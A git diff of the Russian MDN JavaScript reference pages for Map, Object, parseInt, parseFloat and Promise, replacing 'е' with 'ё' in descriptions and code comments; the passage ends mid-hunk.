+++ b/files/ru/web/javascript/reference/global_objects/map/delete/index.html
@@ -31,7 +31,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map/delete
 
 
            Возвращаемое значение
            
 
-
            true если элемент существовал в {{jsxref("Map")}} и он был удален или false если элемента с таким ключом не было.
            
+
            true если элемент существовал в {{jsxref("Map")}} и он был удалён или false если элемента с таким ключом не было.
            Примеры
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/map/entries/index.html b/files/ru/web/javascript/reference/global_objects/map/entries/index.html
index ccdd07a182..eb1a79956b 100644
--- a/files/ru/web/javascript/reference/global_objects/map/entries/index.html
+++ b/files/ru/web/javascript/reference/global_objects/map/entries/index.html
@@ -7,7 +7,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map/entries
 
 
            Метод entries() возвращает новый Итератор, содержащий пары [key, value] для каждого элемента объекта {{jsxref("Map")}} в том порядке, в котором они были заведены.
            
 
-
            Исходный код всех примеров для  {{jsxref("Map")}} сохранен на GitHub https://github.com/mdn/interactive-examples/tree/master/live-examples/js-examples/map.
            
+
            Исходный код всех примеров для  {{jsxref("Map")}} сохранён на GitHub https://github.com/mdn/interactive-examples/tree/master/live-examples/js-examples/map.
            Вы можете внести свой вклад, для этого: 
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/map/foreach/index.html b/files/ru/web/javascript/reference/global_objects/map/foreach/index.html
index 20111c1cdc..27b5c25aa0 100644
--- a/files/ru/web/javascript/reference/global_objects/map/foreach/index.html
+++ b/files/ru/web/javascript/reference/global_objects/map/foreach/index.html
@@ -40,7 +40,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map/forEach
 
 
            Если аргумент thisArg указан для forEach, то при вызове callback он будет передан в качестве значения this.  В противном случае для this будет передано undefined. Значение this, в конечном итоге наблюдаемое в функции callback, определяется в соответствии c обычными правилами определения this в функции.
            
 
-
            Каждое значение посещается один раз, за исключением случая, когда оно было удалено и добавлено снова до завершения forEach. callback не вызывается для значений, удаленных до их посещения. Новые значения будут посещены, если они добавлены до завершения forEach.
            
+
            Каждое значение посещается один раз, за исключением случая, когда оно было удалено и добавлено снова до завершения forEach. callback не вызывается для значений, удалённых до их посещения. Новые значения будут посещены, если они добавлены до завершения forEach.
            forEach исполняет функцию callback один раз для каждого элемента в объекте Map; не возвращает значение.
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/map/get/index.html b/files/ru/web/javascript/reference/global_objects/map/get/index.html
index ae4ca29646..be837c802e 100644
--- a/files/ru/web/javascript/reference/global_objects/map/get/index.html
+++ b/files/ru/web/javascript/reference/global_objects/map/get/index.html
@@ -29,8 +29,8 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map/get
 
            var myMap = new Map();
 myMap.set('bar', 'foo');
 
-myMap.get('bar');  // Вернет "foo".
-myMap.get('baz');  // Вернет undefined.
+myMap.get('bar');  // Вернёт "foo".
+myMap.get('baz');  // Вернёт undefined.
 
            Спецификации
            
diff --git a/files/ru/web/javascript/reference/global_objects/map/index.html b/files/ru/web/javascript/reference/global_objects/map/index.html
index 4548a2f79a..fe13de74df 100644
--- a/files/ru/web/javascript/reference/global_objects/map/index.html
+++ b/files/ru/web/javascript/reference/global_objects/map/index.html
@@ -32,7 +32,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map
 
 
            Сравнение Объектов и Map
            
 
-
            Объекты похожи на Map в том, что оба позволяют устанавливать значения по ключам, получать эти значения, удалять ключи и проверять их наличие. В связи с этим (и потому, что не было встроенных альтернатив), {{jsxref("Object", "Объекты")}} исторически использовались как Map. Однако, у них есть ряд отличий, который дает преимущества Map в ряде случаев:
            
+
            Объекты похожи на Map в том, что оба позволяют устанавливать значения по ключам, получать эти значения, удалять ключи и проверять их наличие. В связи с этим (и потому, что не было встроенных альтернатив), {{jsxref("Object", "Объекты")}} исторически использовались как Map. Однако, у них есть ряд отличий, который даёт преимущества Map в ряде случаев:
              
  
            • Ключами {{jsxref("Object", "Объекта")}} выступают {{jsxref("String", "Строки")}} и {{jsxref("Symbol", "Символы")}}, в то время как любое значение может быть ключом Map, включая {{jsxref("Function", "функции")}}, {{jsxref("Object", "объекты")}} и {{Glossary("Primitive", "примитивы")}}.
              • 
@@ -74,7 +74,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map
  
              Map.prototype.clear()
              
  
              Удаляет все пары ключ / значение из объекта Map.
              
  
              Map.prototype.delete(key)
              
- 
              Возвращает true, если элемент в объекте Map существовал и был удален, или false, если элемент не существует. Map.prototype.has(key) вернет false позже.
              
+ 
              Возвращает true, если элемент в объекте Map существовал и был удалён, или false, если элемент не существует. Map.prototype.has(key) вернёт false позже.
              
  
              Map.prototype.entries()
              
  
              Возвращает новый объект Iterator который содержит массив [key, value] для каждого элемента в объекте Map в порядке вставки.
              
  
              Map.prototype.forEach(callbackFn[, thisArg])
              
diff --git a/files/ru/web/javascript/reference/global_objects/math/sqrt/index.html b/files/ru/web/javascript/reference/global_objects/math/sqrt/index.html
index 28d145db02..9fd81b98cd 100644
--- a/files/ru/web/javascript/reference/global_objects/math/sqrt/index.html
+++ b/files/ru/web/javascript/reference/global_objects/math/sqrt/index.html
@@ -29,7 +29,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Math/sqrt
 
 
              Возвращаемое значение
              
 
-
              Квадратный корень заданного числа. Если число отрицательное, то вернется {{jsxref("NaN")}}.
              
+
              Квадратный корень заданного числа. Если число отрицательное, то вернётся {{jsxref("NaN")}}.
              
 
 
              Описание
              
 
diff --git a/files/ru/web/javascript/reference/global_objects/nan/index.html b/files/ru/web/javascript/reference/global_objects/nan/index.html
index 7c91aebb62..ca61ca7c3e 100644
--- a/files/ru/web/javascript/reference/global_objects/nan/index.html
+++ b/files/ru/web/javascript/reference/global_objects/nan/index.html
@@ -45,7 +45,7 @@ valueIsNaN(1);          // false
 valueIsNaN(NaN);        // true
 valueIsNaN(Number.NaN); // true
 
-
              Тем не менее, обратите внимание на разницу между функцией isNaN() и методом Number.isNaN(): первая вернет true, если значение в настоящий момент является NaN, или если оно станет NaN после того, как преобразуется в число, в то время как последний вернет true, только если текущим значением является NaN:
              
+
              Тем не менее, обратите внимание на разницу между функцией isNaN() и методом Number.isNaN(): первая вернёт true, если значение в настоящий момент является NaN, или если оно станет NaN после того, как преобразуется в число, в то время как последний вернёт true, только если текущим значением является NaN:
              
 
 
              isNaN('hello world');        // true
 Number.isNaN('hello world'); // false
              
diff --git a/files/ru/web/javascript/reference/global_objects/null/index.html b/files/ru/web/javascript/reference/global_objects/null/index.html
index 085018dc12..22f65596e9 100644
--- a/files/ru/web/javascript/reference/global_objects/null/index.html
+++ b/files/ru/web/javascript/reference/global_objects/null/index.html
@@ -40,14 +40,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/null
 
 
              Отличия между null и undefined
              
 
-
              null является определенным значением отсутствия объекта, тогда как {{jsxref("Global_Objects/undefined", "undefined")}} обозначает неопределенность. Например: 
              
+
              null является определённым значением отсутствия объекта, тогда как {{jsxref("Global_Objects/undefined", "undefined")}} обозначает неопределённость. Например: 
              
 
 
              var element;
-// значение переменной element до ее инициализации не определенно: undefined
+// значение переменной element до её инициализации не определённо: undefined
 
 element = document.getElementById('not-exists');
 // здесь при попытке получения несуществующего элемента, метод getElementById возвращает null
-// переменная element теперь инициализирована значением null, ее значение определено
+// переменная element теперь инициализирована значением null, её значение определено
 
              
 
 
              При проверке на null или {{jsxref("Global_Objects/undefined", "undefined")}}, помните о различии между операторами равенства (==) и идентичности (===): с первым, выполняется преобразование типов. 
              
diff --git a/files/ru/web/javascript/reference/global_objects/object/create/index.html b/files/ru/web/javascript/reference/global_objects/object/create/index.html
index bb1da1642e..9af356adc0 100644
--- a/files/ru/web/javascript/reference/global_objects/object/create/index.html
+++ b/files/ru/web/javascript/reference/global_objects/object/create/index.html
@@ -34,7 +34,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/create
 
 
              Выбрасываемые исключения
              
 
-
              Выбрасывает исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}, если параметр proto не является {{jsxref("Global_Objects/null", "null")}} или объектом (исключение составляют объекты-обертки примитивных типов).
              
+
              Выбрасывает исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}, если параметр proto не является {{jsxref("Global_Objects/null", "null")}} или объектом (исключение составляют объекты-обёртки примитивных типов).
              
 
 
              Примеры
              
 
@@ -170,7 +170,7 @@ o2 = Object.create({}, {
     var hasOwn = Object.prototype.hasOwnProperty;
 
     return function (O) {
-      // 1. Если Type(O) не является Object or Null выдается исключение TypeError.
+      // 1. Если Type(O) не является Object or Null выдаётся исключение TypeError.
       if (typeof O != 'object') {
         throw TypeError('Object prototype may only be an Object or null');
       }
@@ -183,7 +183,7 @@ o2 = Object.create({}, {
       var obj = new Temp();
       Temp.prototype = null; // Давайте не будем держать случайные ссылки на О...
 
-      // 4.  Если аргумент Properties присутствует и не определен, добавляем
+      // 4.  Если аргумент Properties присутствует и не определён, добавляем
       //    собственные свойства к obj, как будто вызывая стандартную встроенную
       //    функцию Object.defineProperties с аргументами obj и
       //    Properties.
diff --git a/files/ru/web/javascript/reference/global_objects/object/entries/index.html b/files/ru/web/javascript/reference/global_objects/object/entries/index.html
index 87a9de90b8..7487e1241a 100644
--- a/files/ru/web/javascript/reference/global_objects/object/entries/index.html
+++ b/files/ru/web/javascript/reference/global_objects/object/entries/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/entries
 ---
 
              {{JSRef}}
              
 
-
              Object.entries() метод возвращает массив собственных перечисляемых свойств указанного объекта в формате [key, value], в том же порядке, что и в цикле {{jsxref("Statements/for...in", "for...in")}} (разница в том, что for-in перечисляет свойства из цепочки прототипов). Порядок элементов в массиве который возвращается Object.entries() не зависит от того как объект объявлен. Если существует необходимость в определенном порядке, то  массив должен быть отсортирован до вызова метода, например Object.entries(obj).sort((a, b) => a[0] - b[0]);.
              
+
              Object.entries() метод возвращает массив собственных перечисляемых свойств указанного объекта в формате [key, value], в том же порядке, что и в цикле {{jsxref("Statements/for...in", "for...in")}} (разница в том, что for-in перечисляет свойства из цепочки прототипов). Порядок элементов в массиве который возвращается Object.entries() не зависит от того как объект объявлен. Если существует необходимость в определённом порядке, то  массив должен быть отсортирован до вызова метода, например Object.entries(obj).sort((a, b) => a[0] - b[0]);.
              
 
 
              {{EmbedInteractiveExample("pages/js/object-entries.html")}}
              
 
diff --git a/files/ru/web/javascript/reference/global_objects/object/fromentries/index.html b/files/ru/web/javascript/reference/global_objects/object/fromentries/index.html
index 7bf1d17719..0a52348cb4 100644
--- a/files/ru/web/javascript/reference/global_objects/object/fromentries/index.html
+++ b/files/ru/web/javascript/reference/global_objects/object/fromentries/index.html
@@ -33,7 +33,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/fromEntries
 
 
              Описание
              
 
-
              Метод Object.fromEntries() принимает список пар ключ-значение и возвращает новый объект, свойства которого задаются этими записями. Ожидается, что аргумент iterable будет объектом, который реализует метод @@iterator, который возвращает объект итератора, который создает двухэлементный массивоподобный объект, первый элемент которого является значением, которое будет использоваться в качестве ключа свойства, а второй элемент — значением связанного с этим ключом свойства.
              
+
              Метод Object.fromEntries() принимает список пар ключ-значение и возвращает новый объект, свойства которого задаются этими записями. Ожидается, что аргумент iterable будет объектом, который реализует метод @@iterator, который возвращает объект итератора, который создаёт двухэлементный массивоподобный объект, первый элемент которого является значением, которое будет использоваться в качестве ключа свойства, а второй элемент — значением связанного с этим ключом свойства.
              
 
 
              Object.fromEntries() выполняет процедуру, обратную {{jsxref("Object.entries()")}}.
              
 
diff --git a/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html b/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html
index 1700aa0e2c..62830748df 100644
--- a/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html
+++ b/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html
@@ -40,7 +40,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDes
  
              set
              
  
              Функция, которая служит установщиком для свойства, или {{jsxref("undefined")}} если установщика нет (только дескрипторы доступа).
              
  
              configurable
              
- 
              true тогда и только тогда, когда тип этого свойства дескриптора может быть изменен, и если свойство может быть удалено из соответствующего объекта.
              
+ 
              true тогда и только тогда, когда тип этого свойства дескриптора может быть изменён, и если свойство может быть удалено из соответствующего объекта.
              
  
              enumerable
              
  
              true тогда и только тогда, когда это свойство отображается при перечислении свойств соответствующего объекта.
  
               
              
diff --git a/files/ru/web/javascript/reference/global_objects/object/values/index.html b/files/ru/web/javascript/reference/global_objects/object/values/index.html
index 38bfcb624a..112c18c60f 100644
--- a/files/ru/web/javascript/reference/global_objects/object/values/index.html
+++ b/files/ru/web/javascript/reference/global_objects/object/values/index.html
@@ -52,7 +52,7 @@ var my_obj = Object.create({}, { getFoo: { value: function() { return this.foo;
 my_obj.foo = "bar";
 console.log(Object.values(my_obj)); // ['bar']
 
-// Аргумент, не являющийся объектом, будет приведен к объекту
+// Аргумент, не являющийся объектом, будет приведён к объекту
 console.log(Object.values("foo")); // ['f', 'o', 'o']
 
 
diff --git a/files/ru/web/javascript/reference/global_objects/parsefloat/index.html b/files/ru/web/javascript/reference/global_objects/parsefloat/index.html
index 03cb0bc158..e108d37e8d 100644
--- a/files/ru/web/javascript/reference/global_objects/parsefloat/index.html
+++ b/files/ru/web/javascript/reference/global_objects/parsefloat/index.html
@@ -44,11 +44,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/parseFloat
 
 
              parseFloat - это высокоуровневая функция, не привязанная ни к одному объекту.
              
 
-
              parseFloat разбирает текстовую строку, ищет и возвращает из нее десятичное число. Если функция встретит знак, отличный от (+ или -), цифр(0-9), разделительной точки, или показателя степени, она вернет значение, предшествующее этому знаку, игнорируя все последующие символы . Допускаются позади и впереди идущие пробелы.
              
+
              parseFloat разбирает текстовую строку, ищет и возвращает из неё десятичное число. Если функция встретит знак, отличный от (+ или -), цифр(0-9), разделительной точки, или показателя степени, она вернёт значение, предшествующее этому знаку, игнорируя все последующие символы . Допускаются позади и впереди идущие пробелы.
              
 
-
              Если первый символ нельзя привести к числовому виду, parseFloat вернет NaN.
              
+
              Если первый символ нельзя привести к числовому виду, parseFloat вернёт NaN.
              
 
-
              С точки зрения математики, значение NaN не является числом в какой-либо системе счисления. Чтобы определить, вернет ли parseFloat значение {{jsxref("NaN")}} в качестве результата, можно вызвать функцию {{jsxref("Global_Objects/isNaN", "isNaN")}}. Если NaN участвует в арифметических операциях, результатом также будет NaN.
              
+
              С точки зрения математики, значение NaN не является числом в какой-либо системе счисления. Чтобы определить, вернёт ли parseFloat значение {{jsxref("NaN")}} в качестве результата, можно вызвать функцию {{jsxref("Global_Objects/isNaN", "isNaN")}}. Если NaN участвует в арифметических операциях, результатом также будет NaN.
              
 
 
              parseFloat также может вернуть значение Infinity ("бесконечность"). Вы можете использовать функцию {{jsxref("Global_Objects/isFinite", "isFinite")}}, чтобы определить, является ли результат конечным числом  (not Infinity, -Infinity, или NaN).
              
 
@@ -76,7 +76,7 @@ parseFloat(foo);​​​​​
 
 
              parseFloat возвращает NaN
              
 
-
              Пример ниже вернет NaN
              
+
              Пример ниже вернёт NaN
              
 
 
              parseFloat("FF2");
 
              
diff --git a/files/ru/web/javascript/reference/global_objects/parseint/index.html b/files/ru/web/javascript/reference/global_objects/parseint/index.html
index 093ad5971c..fd1942b04d 100644
--- a/files/ru/web/javascript/reference/global_objects/parseint/index.html
+++ b/files/ru/web/javascript/reference/global_objects/parseint/index.html
@@ -54,13 +54,13 @@ translation_of: Web/JavaScript/Reference/Global_Objects/parseInt
 
 
                
  
              • Если значение входного параметра string начинается с "0x" или "0X", за основание системы счисления принимается 16, и интерпретации подвергается оставшаяся часть строки.
                • 
- 
              • Если значение входного параметра string начинается с "0", за основание системы счисления принимается либо 8, либо 10, в зависимости от конкретной реализации. В спецификации ECMAScript 5 прописано использование 10 (десятичная система), но это поддерживается еще не всеми браузерами, поэтому необходимо всегда указывать основание системы счисления при использовании функции parseInt.
                • 
+ 
              • Если значение входного параметра string начинается с "0", за основание системы счисления принимается либо 8, либо 10, в зависимости от конкретной реализации. В спецификации ECMAScript 5 прописано использование 10 (десятичная система), но это поддерживается ещё не всеми браузерами, поэтому необходимо всегда указывать основание системы счисления при использовании функции parseInt.
                • 
  
              • Если значение входного параметра string начинается с любого другого символа, система счисления считается десятичной (основание 10).
                • 
 
              
 
 
              Если первый символ строки не может быть преобразован в число, parseInt возвращает значение NaN.
              
 
-
              С точки зрения математики, значение NaN не является числом в какой-либо системе счисления. Чтобы определить, вернет ли parseInt значение NaN в качестве результата, можно вызвать функцию {{jsxref("Global_Objects/isNaN", "isNaN")}}. Если NaN участвует в арифметических операциях, результатом также будет NaN.
              
+
              С точки зрения математики, значение NaN не является числом в какой-либо системе счисления. Чтобы определить, вернёт ли parseInt значение NaN в качестве результата, можно вызвать функцию {{jsxref("Global_Objects/isNaN", "isNaN")}}. Если NaN участвует в арифметических операциях, результатом также будет NaN.
              
 
 
              Для преобразования числа в строку в указанной системе счисления, используйте intValue.toString(radix).
              
 
diff --git a/files/ru/web/javascript/reference/global_objects/promise/all/index.html b/files/ru/web/javascript/reference/global_objects/promise/all/index.html
index b6291344c2..4a79cf71ab 100644
--- a/files/ru/web/javascript/reference/global_objects/promise/all/index.html
+++ b/files/ru/web/javascript/reference/global_objects/promise/all/index.html
@@ -27,19 +27,19 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/all
 
 
              Возвращаемое значение
              
 
-
              {{jsxref("Promise")}}, который будет выполнен когда будут выполнены все обещания, переданные в виде перечисляемого аргумента, или отклонен, если будет отклонено хоть одно из переданных обещаний.
              
+
              {{jsxref("Promise")}}, который будет выполнен когда будут выполнены все обещания, переданные в виде перечисляемого аргумента, или отклонён, если будет отклонено хоть одно из переданных обещаний.
              
 
 
              Описание
              
 
 
              Promise.all возвращает массив значений от всех обещаний, которые были ему переданы. Возвращаемый массив значений сохраняет порядок оригинального перечисляемого объекта, но не порядок выполнения обещаний. Если какой-либо элемент перечисляемого объекта не является обещанием, то он будет преобразован с помощью метода {{jsxref("Promise.resolve")}}.
              
 
-
              Если одно из переданных обещаний будет отклонено, Promise.all будет немедленно отклонен со значением отклоненного обещания, не учитывая другие обещания, независимо выполнены они или нет. Если в качестве аргумента будет передан пустой массив, то Promise.all будет выполнен немедленно. 
              
+
              Если одно из переданных обещаний будет отклонено, Promise.all будет немедленно отклонён со значением отклонённого обещания, не учитывая другие обещания, независимо выполнены они или нет. Если в качестве аргумента будет передан пустой массив, то Promise.all будет выполнен немедленно. 
              
 
 
              Примеры
              
 
 
              Использование Promise.all
              
 
-
              Promise.all ждет выполнения всех обещаний (или первого метода reject()).
              
+
              Promise.all ждёт выполнения всех обещаний (или первого метода reject()).
              
 
 
              var p1 = Promise.resolve(3);
 var p2 = 1337;
@@ -57,7 +57,7 @@ Promise.all([p1, p2, p3]).then(values => {
 
 
              Promise.all поведение немедленного отклонения
              
 
-
              Promise.all будет немедленно отклонен если одно из переданных обещаний будет отклонено: если у вас есть четыре обещания которые будут выполнены с задержкой и одно, которое будет отклонено немедленно - тогда Promise.all будет немедленно отклонен.
              
+
              Promise.all будет немедленно отклонён если одно из переданных обещаний будет отклонено: если у вас есть четыре обещания которые будут выполнены с задержкой и одно, которое будет отклонено немедленно - тогда Promise.all будет немедленно отклонен.
              
 
 
              var p1 = new Promise((resolve, reject) => {
   setTimeout(resolve, 1000, "one");
@@ -72,7 +72,7 @@ var p4 = new Promise((resolve, reject) => {
   setTimeout(resolve, 4000, "four");
 });
 var p5 = new Promise((resolve, reject) => {
-// Это обещание прервет Promise.all
+// Это обещание прервёт Promise.all
   reject("reject");
 });
 
diff --git a/files/ru/web/javascript/reference/global_objects/promise/any/index.html b/files/ru/web/javascript/reference/global_objects/promise/any/index.html
index 339d9f7aad..fc85e0927c 100644
--- a/files/ru/web/javascript/reference/global_objects/promise/any/index.html
+++ b/files/ru/web/javascript/reference/global_objects/promise/any/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/any
 ---
 
              {{JSRef}}
              
 
-
              Метод Promise.any() принимает итерируемый объект содержащий объекты "обещаний" {{JSxRef("Promise")}}. Как только одно из "обещаний"(Promise) выполнится успешно(fullfill), метод возвратит единственный объект Promise со значением выполненного "обещания". Если ни одно из "обещаний" не завершится успешно(если все "обещания" завершатся с ошибкой, т.е. rejected), тогда возвращенный объект promise будет отклонен(rejected) с одним из значений: массив содержащий причины ошибки(отклонения), или {{JSxRef("AggregateError")}} — подкласс {{JSxRef("Error")}}, который объединяет выброшенные ошибки вместе. По существу, метод Promise.any() является противоположностью для {{JSxRef("Promise.all()")}}.
              
+
              Метод Promise.any() принимает итерируемый объект содержащий объекты "обещаний" {{JSxRef("Promise")}}. Как только одно из "обещаний"(Promise) выполнится успешно(fullfill), метод возвратит единственный объект Promise со значением выполненного "обещания". Если ни одно из "обещаний" не завершится успешно(если все "обещания" завершатся с ошибкой, т.е. rejected), тогда возвращённый объект promise будет отклонён(rejected) с одним из значений: массив содержащий причины ошибки(отклонения), или {{JSxRef("AggregateError")}} — подкласс {{JSxRef("Error")}}, который объединяет выброшенные ошибки вместе. По существу, метод Promise.any() является противоположностью для {{JSxRef("Promise.all()")}}.
              
 
 
              
 
              Warning! The Promise.any() method is experimental and not fully supported by all browsers. It is currently in the TC39 Candidate stage (Stage 3).
              
@@ -27,25 +27,25 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/any
 
                
  
              • Исполненный {{JSxRef("Promise")}}, если переданный итерируемый объект пуст.
                • 
  
              • Исполненный асинхронно {{JSxRef("Promise")}}, если переданный итерируемый объект не содержит "обещаний"(promises).
                • 
- 
              • Во всех других случаях {{JSxRef("Promise")}} со статусом ожидания(pending). Возвращенное "обещание" будет исполнено(resolved/rejected) асинхронно (как только стэк вызовов окажется пустым), когда одно(любое) "обещание" из  переданного итерируемого объекта исполнится, либо все "обещания" будут отклонены.
                • 
+ 
              • Во всех других случаях {{JSxRef("Promise")}} со статусом ожидания(pending). Возвращённое "обещание" будет исполнено(resolved/rejected) асинхронно (как только стэк вызовов окажется пустым), когда одно(любое) "обещание" из  переданного итерируемого объекта исполнится, либо все "обещания" будут отклонены.
                • 
 
              
 
 
              Описание
              
 
-
              Метод полезен, когда нужно вернуть первое исполненное "обещание". После того как одно из "обещаний" будет исполнено, метод не будет дожидаться исполнения остальных. В отличие от {{JSxRef("Promise.all()")}}, который содержит массив(Array) значений исполненных обещаний, Promise.any() содержит только одно значение (при условии, что хотя бы одно из "обещаний" исполнено успешно). Такой подход может быть выгодным, когда нужно, чтобы выполнилось только одно "обещание", неважно какое. Также, в отличие от {{JSxRef("Promise.race()")}}, который возвращает "обещание", содержащее значение первого завершенного(resolved или rejected), этот метод возвращает "обещание" содержащее значение первого успешно выполненного(resolved) "обещания". Метод будет игнорировать исполнение обещаний с ошибкой(rejection) вплоть до первого исполненного успешно(fullfilment).
              
+
              Метод полезен, когда нужно вернуть первое исполненное "обещание". После того как одно из "обещаний" будет исполнено, метод не будет дожидаться исполнения остальных. В отличие от {{JSxRef("Promise.all()")}}, который содержит массив(Array) значений исполненных обещаний, Promise.any() содержит только одно значение (при условии, что хотя бы одно из "обещаний" исполнено успешно). Такой подход может быть выгодным, когда нужно, чтобы выполнилось только одно "обещание", неважно какое. Также, в отличие от {{JSxRef("Promise.race()")}}, который возвращает "обещание", содержащее значение первого завершённого(resolved или rejected), этот метод возвращает "обещание" содержащее значение первого успешно выполненного(resolved) "обещания". Метод будет игнорировать исполнение обещаний с ошибкой(rejection) вплоть до первого исполненного успешно(fullfilment).
              
 
 
              Успешное исполнение(Fullfilment)
              
 
-
              Если одно из "обещаний" исполнится успешно, возвращенное "обещание" асинхронно исполнится успешно со значением выполненного "обещания", независимо от завершения остальных "обещаний".
              
+
              Если одно из "обещаний" исполнится успешно, возвращённое "обещание" асинхронно исполнится успешно со значением выполненного "обещания", независимо от завершения остальных "обещаний".
              
 
 
                
  
              • Если передан пустой итерируемый объект, тогда метод возвращает (синхронно) выполненное "обещание".
                • 
- 
              • Если одно из переданных обещаний исполнится успешно, или в переданном итерируемом объекте не содержится "обещаний", "обещание" возвращенное из метода Promise.any асинхронно исполнится успешно.
                • 
+ 
              • Если одно из переданных обещаний исполнится успешно, или в переданном итерируемом объекте не содержится "обещаний", "обещание" возвращённое из метода Promise.any асинхронно исполнится успешно.
                • 
 
              
 
 
              Исполнение с ошибкой(Rejection)
              
 
-
              Если все переданные "обещания" будут отклонены(rejected), Promise.any асинхронно будет отклонено в одном из двух вариантов (которые еще не были согласованы): либо
              
+
              Если все переданные "обещания" будут отклонены(rejected), Promise.any асинхронно будет отклонено в одном из двух вариантов (которые ещё не были согласованы): либо
              
 
 
                
  
              • Массив(Array) содержащий причины отклонения всех "обещаний" переданных в итерируемом объекте, либо
                • 
diff --git a/files/ru/web/javascript/reference/global_objects/promise/catch/index.html b/files/ru/web/javascript/reference/global_objects/promise/catch/index.html
index 91d7970796..3515b9c63c 100644
--- a/files/ru/web/javascript/reference/global_objects/promise/catch/index.html
+++ b/files/ru/web/javascript/reference/global_objects/promise/catch/index.html
@@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/catch
 ---
 
                {{JSRef}}
                
 
-
                Метод catch() возвращает Promise(обещание) и работает только в случае отклонения обещания. Ведет себя аналогично вызову {{jsxref("Promise.then", "Promise.prototype.then(undefined, onRejected)")}}.
                
+
                Метод catch() возвращает Promise(обещание) и работает только в случае отклонения обещания. Ведёт себя аналогично вызову {{jsxref("Promise.then", "Promise.prototype.then(undefined, onRejected)")}}.
                
 
 
                Syntax
                
 
@@ -31,7 +31,7 @@ p.catch(function(reason) {
   
                reason
                
   
                Причина отказа.
                
   
                
-  
                Promise( Обещание ), возвращенное catch (), отклоняется, если onRejected выдает ошибку(throw) или возвращает Promise, который был отклонен; В противном случае Promise, возвращаемый catch () имеет статус  выполнено  (fulfilled)
                
+  
                Promise( Обещание ), возвращённое catch (), отклоняется, если onRejected выдаёт ошибку(throw) или возвращает Promise, который был отклонён; В противном случае Promise, возвращаемый catch () имеет статус  выполнено  (fulfilled)
                
   
                
  
  
              
@@ -72,7 +72,7 @@ p1.then(function(value) {
   console.log('Not fired due to the catch');
 });
 
-// Следующий код ведет себя также, как вышенаписанный
+// Следующий код ведёт себя также, как вышенаписанный
 p1.then(function(value) {
   console.log(value); // "Success!"
   return Promise.reject('oh, no!');
diff --git a/files/ru/web/javascript/reference/global_objects/promise/finally/index.html b/files/ru/web/javascript/reference/global_objects/promise/finally/index.html
index b1a53051fa..c12f7625a0 100644
--- a/files/ru/web/javascript/reference/global_objects/promise/finally/index.html
+++ b/files/ru/web/javascript/reference/global_objects/promise/finally/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/finally
 ---
 
              {{JSRef}}
              
 
-
              Метод finally() возвращает {{jsxref("Promise")}}. Когда Promise (обещание) был выполнен, в не зависимости успешно или с ошибкой, указанная функция будет выполнена. Это дает возможность запустить один раз определенный участок кода, который должен выполниться вне зависимости от того, с каким результатом выполнился Promise.
              
+
              Метод finally() возвращает {{jsxref("Promise")}}. Когда Promise (обещание) был выполнен, в не зависимости успешно или с ошибкой, указанная функция будет выполнена. Это даёт возможность запустить один раз определённый участок кода, который должен выполниться вне зависимости от того, с каким результатом выполнился Promise.
              
 
 
              Это позволяет вам избавиться от дубликации кода в обработчиках {{jsxref("Promise.then", "then()")}} и {{jsxref("Promise.catch", "catch()")}}.
              
 
@@ -14,11 +14,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/finally
 
              p.finally(onFinally);
 
 p.finally(function() {
-   // завершен (успешно или с ошибкой)
+   // завершён (успешно или с ошибкой)
 });
 
 p.finally(() => {
-// завершен (успешно или с ошибкой)
+// завершён (успешно или с ошибкой)
 });
              
 
 
              Параметры
              
@@ -40,7 +40,7 @@ p.finally(() => {
 
 
                
  
              • Использование finally() позволяет избежать двойного объявления одной и той же функции или создания переменной. 
                • 
- 
              • finally не получает аргументов, так как не существует способа определить, будет ли обещание выполнено успешно или с ошибкой. Данный метод необходимо использовать, если не важна причина ошибки или результат успешного выполнения и, следовательно, нет необходимости ее/его передавать.
                • 
+ 
              • finally не получает аргументов, так как не существует способа определить, будет ли обещание выполнено успешно или с ошибкой. Данный метод необходимо использовать, если не важна причина ошибки или результат успешного выполнения и, следовательно, нет необходимости её/его передавать.
                • 
  
              • В отличие от Promise.resolve(2).then(() => {}, () => {}) (результатом которого будет resolved-промис, со значением undefined), результатом Promise.resolve(2).finally(() => {}) будет resolved-промис со значением 2.
                • 
  
              • Аналогично, в отличии от Promise.reject(3).then(() => {}, () => {}) (результатом которого будет resolved-промис, со значением undefined), результатом Promise.reject(3).finally(() => {}) будет rejected-промис со значением 3.
                • 
 
              
diff --git a/files/ru/web/javascript/reference/global_objects/promise/index.html b/files/ru/web/javascript/reference/global_objects/promise/index.html
index f5701b4694..7410136177 100644
--- a/files/ru/web/javascript/reference/global_objects/promise/index.html
+++ b/files/ru/web/javascript/reference/global_objects/promise/index.html
@@ -29,13 +29,13 @@ new Promise(function(resolve, reject) { ... });
 
 
              
  
              executor
              
- 
              Объект функции с двумя аргументами resolve и reject. Функция executor  получает оба аргумента и выполняется сразу, еще до того как конструктор вернет созданный объект. Первый аргумент (resolve) вызывает успешное исполнение промиса, второй (reject) отклоняет его.
              
+ 
